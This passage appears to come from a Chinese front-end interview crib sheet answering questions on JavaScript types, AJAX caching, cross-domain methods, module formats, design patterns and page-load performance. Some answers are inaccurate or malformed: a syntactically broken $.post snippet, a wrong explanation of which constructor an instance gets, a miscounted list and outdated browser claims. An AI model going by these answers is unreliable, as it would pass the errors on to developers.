代碼和ajax調(diào)用一致,其實(shí)這種方式就是通過(guò)ajax進(jìn)行調(diào)用的
而情況1和2除了通過(guò)后臺(tái)proxy這種方式外,還可以有多種辦法來(lái)解決:
1、document.domain+iframe(只能解決情況1):
a、在發(fā)起方頁(yè)面和接收方頁(yè)面設(shè)置document.domain,并將值設(shè)為父域的主域名(window.location.hostname)
b、在發(fā)起方頁(yè)面創(chuàng)建一個(gè)隱藏的iframe,iframe的源是接收方頁(yè)面
c、根據(jù)瀏覽器的不同,通過(guò)iframe.contentDocument || iframe.contentWindow.document來(lái)獲得接收方頁(yè)面的內(nèi)容
d、通過(guò)獲得的接收方頁(yè)面的內(nèi)容來(lái)與接收方進(jìn)行交互
這種方法有個(gè)缺點(diǎn),就是當(dāng)一個(gè)域被攻擊時(shí),另一個(gè)域會(huì)有安全漏洞出現(xiàn)。
58.如何使用storage 對(duì)js文件進(jìn)行緩存
由于sessionStorage - 針對(duì)一個(gè) session 的數(shù)據(jù)存儲(chǔ),所以我們一般利用localStorage儲(chǔ)存js文件,只有在第一次訪(fǎng)問(wèn)該頁(yè)面的時(shí)候加載js文件,以后在訪(fǎng)問(wèn)的時(shí)候加載本地localStorage執(zhí)行
59.如何確保ajax或連接不走緩存路徑
在A(yíng)jax中使用Get請(qǐng)求數(shù)據(jù)不會(huì)有頁(yè)面緩存的問(wèn)題,而使用POST請(qǐng)求可是有時(shí)候頁(yè)面會(huì)緩存我們提交的信息,導(dǎo)致我們發(fā)送的異步請(qǐng)求不能正確的返回我們想要的數(shù)據(jù)
$.post(url,data ,ranNum:Math.random()} ,function(data){})
ranNum : 這個(gè)是防止緩存的核心,每次發(fā)起請(qǐng)求都會(huì)用Math.random()方法生成一個(gè)隨機(jī)的數(shù)字,這樣子就會(huì)刷新url緩存
60.split() join()?
前者是切割成數(shù)組的形式,
后者是將數(shù)組轉(zhuǎn)換成字符串
61.slice() splice()?
slice() 方法可從已有的數(shù)組中返回選定的元素。
splice() 方法向/從數(shù)組中添加/刪除項(xiàng)目,然后返回被刪除的項(xiàng)目。
62.typeof?typeof [ ]返回?cái)?shù)據(jù)類(lèi)型是?
//判斷基本數(shù)據(jù)類(lèi)型;var a=[];typeof a輸出object;
//本來(lái)判斷一個(gè)對(duì)象類(lèi)型用typeof是最好的,不過(guò)對(duì)于A(yíng)rray類(lèi)型是不適用的,
//可以使用 instanceof操作符:
var arrayStr=new Array("1","2","3","4","5");
alert(arrayStr instanceof Array);
//當(dāng)然以上在一個(gè)簡(jiǎn)單的頁(yè)面布局里面是沒(méi)有問(wèn)題的,如果是復(fù)雜頁(yè)面情況,
//入獲取的是frame內(nèi)部的Array對(duì)象,可以用這個(gè)函數(shù)判斷:
function isArray(obj) {
return Object.prototype.toString.call(obj) === '[object Array]';
}
63.disabled readyonly?
readonly只針對(duì)input(text / password)和textarea有效,而disabled對(duì)于所有的表單元素都有效,當(dāng)表單元素在使用了disabled后,當(dāng)我們將表單以POST或GET的方式提交的話(huà),這個(gè)元素的值不會(huì)被傳遞出去,而readonly會(huì)將該值傳遞出去。
64.同步異步?
1、進(jìn)程同步:就是在發(fā)出一個(gè)功能調(diào)用時(shí),在沒(méi)有得到結(jié)果之前,該調(diào)用就不返回。也就是必須一件一件事做,等前一件做完了才能做下一件事
2、異步的概念和同步相對(duì)。當(dāng)一個(gè)異步過(guò)程調(diào)用發(fā)出后,調(diào)用者不能立刻得到結(jié)果。實(shí)際處理這個(gè)調(diào)用的部件在完成后,通過(guò)狀態(tài)、通知和回調(diào)來(lái)通知調(diào)用者。
65.promise
Promise的構(gòu)造函數(shù)接收一個(gè)參數(shù),是函數(shù),并且傳入兩個(gè)參數(shù):resolve,reject,分別表示異步操作執(zhí)行成功后的回調(diào)函數(shù)和異步操作執(zhí)行失敗后的回調(diào)函數(shù)。
66.函數(shù)fn1 函數(shù)fn2 函數(shù)fn3,如果想在三個(gè)函數(shù)都執(zhí)行完成后執(zhí)行某一個(gè)事件應(yīng)該如何實(shí)現(xiàn)?
//1、設(shè)置事件監(jiān)聽(tīng)。
//2、回調(diào)函數(shù):
function fn1(){
console.log("執(zhí)行fn1");
fn2();
}
function fn2(){
console.log("執(zhí)行fn2");
fn3();
}
function fn3(){
console.log("執(zhí)行fn3");
mou();
}
function mou(){
console.log("執(zhí)行某個(gè)函數(shù)");
}
fn1();
67.JavaScript提供了哪幾種“異步模式”?
1、回調(diào)函數(shù)(callbacks)
2、事件監(jiān)聽(tīng)
3、Promise對(duì)象
68.什么是移動(dòng)端的300ms延遲?什么是點(diǎn)擊穿透?解決方案?
移動(dòng)端300ms延遲:假定這么一個(gè)場(chǎng)景。用戶(hù)在 瀏覽器里邊點(diǎn)擊了一個(gè)鏈接。由于用戶(hù)可以進(jìn)行雙擊縮放或者雙擊滾動(dòng)的操作,當(dāng)用戶(hù)一次點(diǎn)擊屏幕之后,瀏覽器并不能立刻判斷用戶(hù)是確實(shí)要打開(kāi)這個(gè)鏈接,還是想要進(jìn)行雙擊操作。因此,瀏覽器 就等待 300 毫秒,以判斷用戶(hù)是否再次點(diǎn)擊了屏幕。也就是說(shuō),當(dāng)我們點(diǎn)擊頁(yè)面的時(shí)候移動(dòng)端瀏覽器并不是立即作出反應(yīng),而是會(huì)等上一小會(huì)兒才會(huì)出現(xiàn)點(diǎn)擊的效果。
點(diǎn)擊穿透:假如頁(yè)面上有兩個(gè)元素A和B。B元素在A(yíng)元素之上。我們?cè)贐元素的touchstart事件上注冊(cè)了一個(gè)回調(diào)函數(shù),該回調(diào)函數(shù)的作用是隱藏B元素。我們發(fā)現(xiàn),當(dāng)我們點(diǎn)擊B元素,B元素被隱藏了,隨后,A元素觸發(fā)了click事件。這是因?yàn)樵谝苿?dòng)端瀏覽器,事件執(zhí)行的順序是touchstart > touchend > click。而click事件有300ms的延遲,當(dāng)touchstart事件把B元素隱藏之后,隔了300ms,瀏覽器觸發(fā)了click事件,但是此時(shí)B元素不見(jiàn)了,所以該事件被派發(fā)到了A元素身上。如果A元素是一個(gè)鏈接,那此時(shí)頁(yè)面就會(huì)意外地跳轉(zhuǎn)。
300ms延遲解決方案:
(1) 禁用縮放,在html文檔頭部加meta標(biāo)簽如下:
<meta name=”viewport” content=”user-scalable=no”/>
(2) 更改默認(rèn)的視口寬度 (響應(yīng)式布局,消除了站點(diǎn)上可能存在的雙擊綻放的請(qǐng)求)
<meta name=”viewport” content=”width=device-width”/>
(3) Css touch-action
touch-action:none;在該元素上的操作不會(huì)觸發(fā)用戶(hù)代理的任何行為,無(wú)需進(jìn)行3000ms延遲判斷。
(4) FastClick為解決移動(dòng)端瀏覽器300毫秒延遲開(kāi)發(fā)的一個(gè)輕量級(jí)的庫(kù)
點(diǎn)擊穿透解決方案:
(1)只用touch
(2)只用click
(3)tap后延遲350ms再隱藏mask
(4)pointer-events
69.變量作用域?
//變量作用域:一個(gè)變量的作用域是程序源代碼中定義這個(gè)變量的區(qū)域。全局變量擁有全局作用域,
//在js代碼中任何地方都是有定義的。在函數(shù)內(nèi)聲明的變量只在函數(shù)體內(nèi)有定義,它們是局部變量,
//作用域是局部性的。函數(shù)參數(shù)也是局部變量,它們只在函數(shù)體內(nèi)有定義。
var a = "";
window.b=''”;
function(e) {
var c= "";
d="";
e="";
}
function go() {
console.info(this);//window
return function() {
console.info(this); // window
return {
b:function(){
console.info(this); //b的父對(duì)象
}
}
}
}
go()().b();
70.call & apply 兩者之間的區(qū)別
call和apply都是改變this指向的方法,區(qū)別在于call可以寫(xiě)多個(gè)參數(shù),而apply只能寫(xiě)兩個(gè)參數(shù),第二個(gè)參數(shù)是一個(gè)數(shù)組,用于存放要傳的參數(shù)。
71.call和apply 有什么好處?
用call和apply:實(shí)現(xiàn)更好的繼承和擴(kuò)展,更安全。
72.誰(shuí)是c的構(gòu)造函數(shù)?
function ab() {
this.say = ""; }
ab.constructor = {} ab.name = '';
var c = new ab();
//構(gòu)造函數(shù)默認(rèn)指向函數(shù)本身,ab是一個(gè)類(lèi),它的構(gòu)造函數(shù)是它本身,
//然后ab.constructor={};ab的構(gòu)造函數(shù)就指向{}了,c是ab的實(shí)例化對(duì)象,c的構(gòu)造函數(shù)就是{}
//通過(guò)使用new的時(shí)候,創(chuàng)建對(duì)象發(fā)生了那些改變? 當(dāng)使用new操作時(shí),會(huì)馬上開(kāi)辟一個(gè)塊內(nèi)存,
//創(chuàng)建一個(gè)空對(duì)象,并將this指向這個(gè)對(duì)象。接著,執(zhí)行構(gòu)造函數(shù)ab(),對(duì)這個(gè)空對(duì)象進(jìn)行構(gòu)造
//(構(gòu)造函數(shù)里有什么屬性和方法都一一給這個(gè)空白對(duì)象裝配上去,這就是為何它叫構(gòu)造函數(shù)了)。
73.sass和less有什么區(qū)別?
1.編譯環(huán)境不一樣 Sass的安裝需要Ruby環(huán)境,是在服務(wù)端處理的,而Less是需要引入less.js來(lái)處理Less代碼輸出css到瀏覽器,也可以在開(kāi)發(fā)環(huán)節(jié)使用Less,然后編譯成css文件,直接放到項(xiàng)目中。
2.變量符不一相,less是@,而scss是$,而且它們的作用域也不一樣,less是塊級(jí)作用域
3.輸出設(shè)置,Less沒(méi)有輸出設(shè)置,sass提供4種輸出選項(xiàng),nested,compact,compressed和expanded nested:嵌套縮進(jìn)的css代碼(默認(rèn)) expanded:展開(kāi)的多行css代碼 compact:簡(jiǎn)潔格式的css代碼 compressed:壓縮后的css代碼
4.sass支持條件語(yǔ)句,可以使用if{}else{},for{}循環(huán)等等,而less不行
5.引用外部css文件,sass引用外部文件必須以_開(kāi)頭,文件名如果以下劃線(xiàn)_形狀,sass會(huì)認(rèn)為該文件是一個(gè)引用文件,不會(huì)將其編譯為css文件。less引用外部文件和css中的@import沒(méi)什么差異。
6.sass和less的工具庫(kù)不同。sass有工具庫(kù)Compass, 簡(jiǎn)單說(shuō),sass和Compass的關(guān)系有點(diǎn)像Javascript和jQuery的關(guān)系,Compass是sass的工具庫(kù)。在它的基礎(chǔ)上,封裝了一系列有用的模塊和模板,補(bǔ)充強(qiáng)化了sass的功能。less有UI組件庫(kù)Bootstrap,Bootstrap是web前端開(kāi)發(fā)中一個(gè)比較有名的前端UI組件庫(kù),Bootstrap的樣式文件部分源碼就是采用less語(yǔ)法編寫(xiě)。
總結(jié):不管是sass,還是less,都可以視為一種基于CSS之上的高級(jí)語(yǔ)言,其目的是使得CSS開(kāi)發(fā)更靈活和更強(qiáng)大,sass的功能比less強(qiáng)大,基本可以說(shuō)是一種真正的編程語(yǔ)言了,less則相對(duì)清晰明了,易于上手,對(duì)編譯環(huán)境要求比較寬松。考慮到編譯sass要安裝Ruby,而Ruby官網(wǎng)在國(guó)內(nèi)訪(fǎng)問(wèn)不了,個(gè)人在實(shí)際開(kāi)發(fā)中更傾向于選擇less。
74.bootstrap好處?
自適應(yīng)和響應(yīng)式布局,12柵格系統(tǒng),統(tǒng)一的界面風(fēng)格和css樣式有利于團(tuán)隊(duì)開(kāi)發(fā)。編寫(xiě)靈活、穩(wěn)定、高質(zhì)量的 HTML 和 CSS 代碼的規(guī)范。
75.開(kāi)發(fā)時(shí)如何對(duì)項(xiàng)目進(jìn)行管理?gulp?
本人開(kāi)發(fā)時(shí),利用gulp等前端工作流管理工具管理項(xiàng)目。 gulp是新一代的前端項(xiàng)目構(gòu)建工具,你可以使用gulp及其插件對(duì)你的項(xiàng)目代碼(less,sass)進(jìn)行編譯,還可以壓縮你的js和css代碼,甚至壓縮你的圖片,能夠合并文件,壓縮文件,語(yǔ)法檢查,監(jiān)聽(tīng)文件變化,測(cè)試,轉(zhuǎn)換二進(jìn)制,轉(zhuǎn)換圖片等一系列功能。gulp僅有少量的API,所以非常容易學(xué)習(xí)。實(shí)現(xiàn)良好的項(xiàng)目管理。
76.壓縮合并目的?http請(qǐng)求的優(yōu)化方式?
1)Web性能優(yōu)化最佳實(shí)踐中最重要的一條是減少HTTP請(qǐng)求。而減少HTTP請(qǐng)求的最主要的方式就是,合并并壓縮JavaScript和CSS文件。
CSS Sprites(CSS精靈):把全站的圖標(biāo)都放在一個(gè)圖像文件中,然后用CSS的background-image和background-position屬性定位來(lái)顯示其中的一小部分。
合并腳本和樣式表; 圖片地圖:利用image map標(biāo)簽定義一個(gè)客戶(hù)端圖像映射,(圖像映射指帶有可點(diǎn)擊區(qū)域的一幅圖像)具體看:http://club.topsage.com/thread-2527479-1-1.html
圖片js/css等靜態(tài)資源放在靜態(tài)服務(wù)器或CDN服時(shí),盡量采用不用的域名,這樣能防止cookie不會(huì)互相污染,減少每次請(qǐng)求的往返數(shù)據(jù)。
css替代圖片, 緩存一些數(shù)據(jù)
少用location.reload():使用location.reload() 會(huì)刷新頁(yè)面,刷新頁(yè)面時(shí)頁(yè)面所有資源 (css,js,img等) 會(huì)重新請(qǐng)求服務(wù)器。建議使用location.href="當(dāng)前頁(yè)url" 代替location.reload() ,使用location.href 瀏覽器會(huì)讀取本地緩存資源。
77.ajax請(qǐng)求方式有幾種(8種)?
1)$.get(url,[data],[callback])
2)$.getJSON(url,[data],[callback])
3)$.post(url,[data],[callback],[type])
4)$.ajax(opiton)
5)$.getScript( url, [callback] )
6)jquery對(duì)象.load( url, [data], [callback] )
7)serialize() 與 serializeArray()
78.如何copy一個(gè)dom元素?
原生Js方法:var div = document.getElementsByTagName('div')[0];
var clone = div.cloneNode();
Jquery方法:$('div').clone();
在默認(rèn)情況下,.clone()方法不會(huì)復(fù)制匹配的元素或其后代元素中綁定的事件。不過(guò),可以為這個(gè)方法傳遞一個(gè)布爾值參數(shù),將這個(gè)參數(shù)設(shè)置為true, 就可以連同事件一起復(fù)制,即.clone(true)。
79.數(shù)組的排序方法(sort)?排序?漢字排序?
數(shù)組的排序方法:reverse()和sort()。reverse()方法會(huì)對(duì)反轉(zhuǎn)數(shù)組項(xiàng)的順序。
Eg:var values = [0, 1, 5, 10, 15]; values.sort();//0,1,10,15,5
var values = [1, 2, 3, 4, 5]; values.reverse();//5,4,3,2,1
js中的排序(詳情參考:http://www.tuicool.com/articles/IjInMbU)
利用sort排序, 冒泡排序, 快速排序, 插入排序, 希爾排序, 選擇排序
歸并排序
localeCompare() 方法用于字符串編碼的排序
localeCompare 方法:返回一個(gè)值,指出在當(dāng)前的區(qū)域設(shè)置中兩個(gè)字符串是否相同。
80.簡(jiǎn)述一下你理解的面向?qū)ο螅?/strong>
面向?qū)ο笫腔谌f(wàn)物皆對(duì)象這個(gè)哲學(xué)觀(guān)點(diǎn). 把一個(gè)對(duì)象抽象成類(lèi),具體上就是把一個(gè)對(duì)象的靜態(tài)特征和動(dòng)態(tài)特征抽象成屬性和方法,也就是把一類(lèi)事物的算法和數(shù)據(jù)結(jié)構(gòu)封裝在一個(gè)類(lèi)之中,程序就是多個(gè)對(duì)象和互相之間的通信組成的.
面向?qū)ο缶哂蟹庋b性,繼承性,多態(tài)性。
封裝:隱蔽了對(duì)象內(nèi)部不需要暴露的細(xì)節(jié),使得內(nèi)部細(xì)節(jié)的變動(dòng)跟外界脫離,只依靠接口進(jìn)行通信.封裝性降低了編程的復(fù)雜性. 通過(guò)繼承,使得新建一個(gè)類(lèi)變得容易,一個(gè)類(lèi)從派生類(lèi)那里獲得其非私有的方法和公用屬性的繁瑣工作交給了編譯器. 而 繼承和實(shí)現(xiàn)接口和運(yùn)行時(shí)的類(lèi)型綁定機(jī)制 所產(chǎn)生的多態(tài),使得不同的類(lèi)所產(chǎn)生的對(duì)象能夠?qū)ο嗤南⒆鞒霾煌姆磻?yīng),極大地提高了代碼的通用性.
總之,面向?qū)ο蟮奶匦蕴岣吡舜笮统绦虻闹赜眯院涂删S護(hù)性.
81.如何創(chuàng)建一個(gè)對(duì)象?
1. 工廠(chǎng)模式
2. 構(gòu)造函數(shù)模式
3. 原型模式
4. 混合構(gòu)造函數(shù)和原型模式
5. 動(dòng)態(tài)原型模式
6. 寄生構(gòu)造函數(shù)模式
7. 穩(wěn)妥構(gòu)造函數(shù)模式
程序的設(shè)計(jì)模式?工廠(chǎng)模式?發(fā)布訂閱?
1)設(shè)計(jì)模式并不是某種語(yǔ)言的某塊代碼,設(shè)計(jì)模式是一種思想,提供給在編碼時(shí)候遇到的各種問(wèn)題是可以采取的解決方案,更傾向于一種邏輯思維,而不是萬(wàn)能代碼塊。
設(shè)計(jì)模式主要分三個(gè)類(lèi)型:創(chuàng)建型、結(jié)構(gòu)型和行為型。
創(chuàng)建型模式:?jiǎn)卫J剑橄蠊S(chǎng)模式,建造者模式,工廠(chǎng)模式與原型模式。
結(jié)構(gòu)型模式:適配器模式,橋接模式,裝飾者模式,組合模式,外觀(guān)模式,享元模式以及代理模式。
行為型模式:模板方法模式,命令模式,迭代器模式,觀(guān)察者模式,中介者模式,備忘錄模式,解釋器模式,狀態(tài)模式,策略模式,職責(zé)鏈模式和訪(fǎng)問(wèn)者模式。
2)與創(chuàng)建型模式類(lèi)似,工廠(chǎng)模式創(chuàng)建對(duì)象(視為工廠(chǎng)里的產(chǎn)品)是無(wú)需指定創(chuàng)建對(duì)象的具體類(lèi)。
工廠(chǎng)模式定義一個(gè)用于創(chuàng)建對(duì)象的接口,這個(gè)接口由子類(lèi)決定實(shí)例化哪一個(gè)類(lèi)。該模式使一個(gè)類(lèi)的實(shí)例化延遲到了子類(lèi)。而子類(lèi)可以重寫(xiě)接口方法以便創(chuàng)建的時(shí)候指定自己的對(duì)象類(lèi)型。
3)觀(guān)察者模式又叫做發(fā)布訂閱模式,它定義了一種一對(duì)多的關(guān)系,讓多個(gè)觀(guān)察者對(duì)象同時(shí)監(jiān)聽(tīng)某一個(gè)主題對(duì)象,這個(gè)主題對(duì)象的狀態(tài)發(fā)生改變時(shí)就會(huì)通知所有觀(guān)察著對(duì)象。它是由兩類(lèi)對(duì)象組成,主題和觀(guān)察者,主題負(fù)責(zé)發(fā)布事件,同時(shí)觀(guān)察者通過(guò)訂閱這些事件來(lái)觀(guān)察該主體,發(fā)布者和訂閱者是完全解耦的,彼此不知道對(duì)方的存在,兩者僅僅共享一個(gè)自定義事件的名稱(chēng)。
( 設(shè)計(jì)模式實(shí)在是太高深了,小伙伴門(mén)結(jié)合網(wǎng)上實(shí)例自行學(xué)習(xí),我實(shí)在是無(wú)能為力啊 )
82.commonjs?requirejs?AMD|CMD|UMD?
1.CommonJS就是為JS的表現(xiàn)來(lái)制定規(guī)范,NodeJS是這種規(guī)范的實(shí)現(xiàn),webpack 也是以CommonJS的形式來(lái)書(shū)寫(xiě)。因?yàn)閖s沒(méi)有模塊的功能,所以CommonJS應(yīng)運(yùn)而生。但它不能在瀏覽器中運(yùn)行。 CommonJS定義的模塊分為:{模塊引用(require)} {模塊定義(exports)} {模塊標(biāo)識(shí)(module)}
2.RequireJS 是一個(gè)JavaScript模塊加載器。 RequireJS有兩個(gè)主要方法(method): define()和require()。這兩個(gè)方法基本上擁有相同的定義(declaration) 并且它們都知道如何加載的依賴(lài)關(guān)系,然后執(zhí)行一個(gè)回調(diào)函數(shù)(callback function)。與require()不同的是, define()用來(lái)存儲(chǔ)代碼作為一個(gè)已命名的模塊。 因此define()的回調(diào)函數(shù)需要有一個(gè)返回值作為這個(gè)模塊定義。這些類(lèi)似被定義的模塊叫作AMD (Asynchronous Module Definition,異步模塊定義)。
3.AMD 是 RequireJS 在推廣過(guò)程中對(duì)模塊定義的規(guī)范化產(chǎn)出 AMD異步加載模塊。它的模塊支持對(duì)象 函數(shù) 構(gòu)造器 字符串 JSON等各種類(lèi)型的模塊。 適用AMD規(guī)范適用define方法定義模塊。
4.CMD是SeaJS 在推廣過(guò)程中對(duì)模塊定義的規(guī)范化產(chǎn)出
AMD與CDM的區(qū)別:
(1)對(duì)于于依賴(lài)的模塊,AMD 是提前執(zhí)行(好像現(xiàn)在也可以延遲執(zhí)行了),CMD 是延遲執(zhí)行。
(2)AMD 推崇依賴(lài)前置,CMD 推崇依賴(lài)就近。
(3)AMD 推崇復(fù)用接口,CMD 推崇單用接口。
(4)書(shū)寫(xiě)規(guī)范的差異。
5.umd是AMD和CommonJS的糅合。
AMD 瀏覽器第一的原則發(fā)展 異步加載模塊。
CommonJS模塊以服務(wù)器第一原則發(fā)展,選擇同步加載,它的模塊無(wú)需包裝(unwrapped modules)。這迫使人們又想出另一個(gè)更通用的模式UMD ( Universal Module Definition ), 希望解決跨平臺(tái)的解決方案。UMD先判斷是否支持Node.js的模塊( exports )是否存在,存在則使用Node.js模塊模式。
83. js的幾種繼承方式?
1.使用對(duì)象冒充實(shí)現(xiàn)繼承
2.采用call、Apply方法改變函數(shù)上下文實(shí)現(xiàn)繼承
3.原型鏈方式繼承
84. JavaScript原型,原型鏈 ? 有什么特點(diǎn)?
在JavaScript中,一共有兩種類(lèi)型的值,原始值和對(duì)象值.每個(gè)對(duì)象都有一個(gè)內(nèi)部屬性[[prototype]],我們通常稱(chēng)之為原型.原型的值可以是一個(gè)對(duì)象,也可以是null.如果它的值是一個(gè)對(duì)象,則這個(gè)對(duì)象也一定有自己的原型.這樣就形成了一條線(xiàn)性的鏈,我們稱(chēng)之為原型鏈.
訪(fǎng)問(wèn)一個(gè)對(duì)象的原型可以使用ES5中的Object.getPrototypeOf方法,或者ES6中的__proto__屬性. 原型鏈的作用是用來(lái)實(shí)現(xiàn)繼承,比如我們新建一個(gè)數(shù)組,數(shù)組的方法就是從數(shù)組的原型上繼承而來(lái)的。
85. eval是做什么的?
它的功能是把對(duì)應(yīng)的字符串解析成JS代碼并運(yùn)行; 應(yīng)該避免使用eval,不安全,非常耗性能(2次,一次解析成js語(yǔ)句,一次執(zhí)行)。
86. null,undefined 的區(qū)別?
undefined表示變量聲明但未初始化的值,null表示準(zhǔn)備用來(lái)保存對(duì)象,還沒(méi)有真正保存對(duì)象的值。從邏輯角度看,null表示一個(gè)空對(duì)象指針。
87. JSON 的了解?
JSON(JavaScript Object Notation) 是一種輕量級(jí)的數(shù)據(jù)交換格式。 它是基于JavaScript的一個(gè)子集。數(shù)據(jù)格式簡(jiǎn)單, 易于讀寫(xiě), 占用帶寬小。
88. js延遲加載的方式有哪些?
defer和async、動(dòng)態(tài)創(chuàng)建DOM方式(用得最多)、按需異步載入js
89. ajax 是什么?
異步j(luò)avascript和XML,是指一種創(chuàng)建交互式網(wǎng)頁(yè)應(yīng)用的網(wǎng)頁(yè)開(kāi)發(fā)技術(shù)。通過(guò)后臺(tái)與服務(wù)器進(jìn)行少量數(shù)據(jù)交換,AJAX可以使網(wǎng)頁(yè)實(shí)現(xiàn)異步更新。這意味著可以在不重新加載整個(gè)網(wǎng)頁(yè)的情況下,對(duì)網(wǎng)頁(yè)的某部分進(jìn)行更新。
90. 同步和異步的區(qū)別?
javascript同步表示sync,指:代碼依次執(zhí)行 javascript異步表示async,指:代碼執(zhí)行不按順序,‘跳過(guò)’執(zhí)行,待其他某些代碼執(zhí)行完后再來(lái)執(zhí)行,成為異步。
91. 如何解決跨域問(wèn)題?
Jsonp、iframe、window.name、window.postMessage、服務(wù)器上設(shè)置代理頁(yè)面
92. 異步加載的方式有哪些?
(1) defer,只支持IE
(2) async:true
(3) 創(chuàng)建script,插入到DOM中,加載完畢后callBack
93. jQuery與jQuery UI 有啥區(qū)別?
jQuery是一個(gè)js庫(kù),主要提供的功能是選擇器,屬性修改和事件綁定等等。
jQuery UI則是在jQuery的基礎(chǔ)上,利用jQuery的擴(kuò)展性,設(shè)計(jì)的插件。提供了一些常用的界面元素,諸如對(duì)話(huà)框、拖動(dòng)行為、改變大小行為等等。
94. 你有哪些性能優(yōu)化的方法?
(1) 減少http請(qǐng)求次數(shù):CSS Sprites, JS、CSS源碼壓縮、圖片大小控制合適;網(wǎng)頁(yè)Gzip, CDN托管,data緩存 ,圖片服務(wù)器。
(2) 前端模板 JS+數(shù)據(jù),減少由于HTML標(biāo)簽導(dǎo)致的帶寬浪費(fèi),前端用變量保存AJAX請(qǐng)求結(jié)果,每次操作本地變量,不用請(qǐng)求,減少請(qǐng)求次數(shù)
(3) 用innerHTML代替DOM操作,減少DOM操作次數(shù),優(yōu)化javascript性能。
(4) 當(dāng)需要設(shè)置的樣式很多時(shí)設(shè)置className而不是直接操作style。
(5) 少用全局變量、緩存DOM節(jié)點(diǎn)查找的結(jié)果。減少I(mǎi)O讀取操作。
(6) 避免使用CSS Expression(css表達(dá)式)又稱(chēng)Dynamic properties(動(dòng)態(tài)屬性)。
(7) 圖片預(yù)加載,將樣式表放在頂部,將腳本放在底部 加上時(shí)間戳。
(8) 避免在頁(yè)面的主體布局中使用table,table要等其中的內(nèi)容完全下載之后才會(huì)顯示出來(lái),顯示比div+css布局慢。
95. 一個(gè)頁(yè)面從輸入 URL 到頁(yè)面加載顯示完成,這個(gè)過(guò)程中都發(fā)生了什么?(流程說(shuō)的越詳細(xì)越好)
查找瀏覽器緩存
DNS解析、查找該域名對(duì)應(yīng)的IP地址、重定向(301)、發(fā)出第二個(gè)GET請(qǐng)求
進(jìn)行HTTP協(xié)議會(huì)話(huà)
客戶(hù)端發(fā)送報(bào)頭(請(qǐng)求報(bào)頭)
服務(wù)器回饋報(bào)頭(響應(yīng)報(bào)頭)
html文檔開(kāi)始下載
文檔樹(shù)建立,根據(jù)標(biāo)記請(qǐng)求所需指定MIME類(lèi)型的文件
文件顯示
瀏覽器這邊做的工作大致分為以下幾步:
加載:根據(jù)請(qǐng)求的URL進(jìn)行域名解析,向服務(wù)器發(fā)起請(qǐng)求,接收文件(HTML、JS、CSS、圖象等)。
解析:對(duì)加載到的資源(HTML、JS、CSS等)進(jìn)行語(yǔ)法解析,建議相應(yīng)的內(nèi)部數(shù)據(jù)結(jié)構(gòu)(比如HTML的DOM樹(shù),JS的(對(duì)象)屬性表,CSS的樣式規(guī)則等等)
96. ajax的缺點(diǎn)
1、ajax不支持瀏覽器back按鈕。
2、安全問(wèn)題 AJAX暴露了與服務(wù)器交互的細(xì)節(jié)。
3、對(duì)搜索引擎的支持比較弱。
4、破壞了程序的異常機(jī)制。
5、不容易調(diào)試
*請(qǐng)認(rèn)真填寫(xiě)需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。